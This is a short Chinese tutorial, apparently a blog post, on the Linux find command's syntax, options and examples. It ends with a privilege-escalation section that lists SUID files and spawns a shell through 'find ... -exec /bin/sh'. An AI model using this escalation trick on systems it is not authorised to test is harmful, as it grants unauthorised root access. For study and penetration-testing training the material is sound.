find命令用来在指定目录下查找文件,若不指定目录则视为当前目录
- find常用参数
标签:文件,教程,查找文件,提权,权限,type,find From: https://www.cnblogs.com/fandt/p/17331999.html语法:find [path…] [expression]
path为查找路径,
.
为当前路径,/
为根目录expression即为参数
-name: 按文件名查找文件
-perm: 按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT,如777为普通文件的最高权限,7000为特殊文件的最高权限
-user: 按照文件属主来查找
-size n: 文件大小是n个单位
-type:
- d:目录
- f:文件
- c:字符设备文件
- b:块设备文件
find实列
1.在当前目录下查找文件名以txt为后缀的文件
find -name '*.txt'
在root目录下查找大于50m小于100m的文件
find / -size +50M -size -100M -type f
查找权限为777的文件或目录并排序
find -perm -777 -type f |sort
find命令提权
1.使用find命令查看拥有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
使用find命令来提权
find text.sh -exec "/bin/sh" \;